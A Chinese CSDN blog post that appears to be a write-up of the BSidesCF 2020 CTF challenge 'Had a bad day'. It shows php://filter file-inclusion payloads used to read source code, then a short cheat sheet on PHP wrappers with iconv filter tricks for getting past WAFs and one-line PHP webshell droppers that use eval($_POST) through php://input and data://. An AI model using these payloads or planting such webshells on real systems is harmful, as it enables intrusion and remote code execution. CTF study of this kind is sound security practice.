[BSidesCF 2020]Had a bad day

一道简单的关于PHP伪协议的题目,正好总结一下

1.打开题目很明显可以看到url中的参数,正好也是对应的按钮中的单词,所以可以对参数内容进行尝试

2.我这里试了woofers.php,返回报错,从这里的内容就可以看出是文件包含,同时自动补充.php后缀,于是我们可以构造payload查看源码。

?file=php://filter/convert.base64-encode/resource=index

3.对所得内容base64解码,可以找到该内容。

这也解释了为什么直接传入file=index会失败的原因,对strpos()函数会返回所查找子字符串第一个字母的下标,若无则返回false

4.构造最终payload

file=php://filter/convert.base64-encode/index/resource=flag

分割线

  • allow_url_fopen :on #默认开启 ,表示允许url里的封装协议访问文件;
  • allow_url_include:off #默认关闭,表示不允许包含url里的封装协议包含文件;

php://Filter

对filter,在一些题目中可能会对转换过滤器进行waf,所以可用

convert.iconv.<input-encoding>.<output-encoding>或者
convert.iconv.<input-encoding>/<output-encoding>

进行绕过,其中支持的字符编码有

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

更多内容可参考php://filter-CSDN博客

PHP://input

对于input,可用post方式提交想运行的语句,实现命令执行漏洞

例如在当前目录下,生成一句话木马文件

<?php 
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

DATA://

对于data,可用于内容封装,可生成一句话木马

例如生成shell.php

<?php fputs(fopen("shell.php","w"),'<?php @eval($_POST['cmd']);?>') ?>

fputs()将内容写入打开的文件,无则创建

更多内容可看003-漏洞梳理篇之php伪协议_伪协议漏洞-CSDN博客

补充还有phar://协议,用于反序列化中

  • 21
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值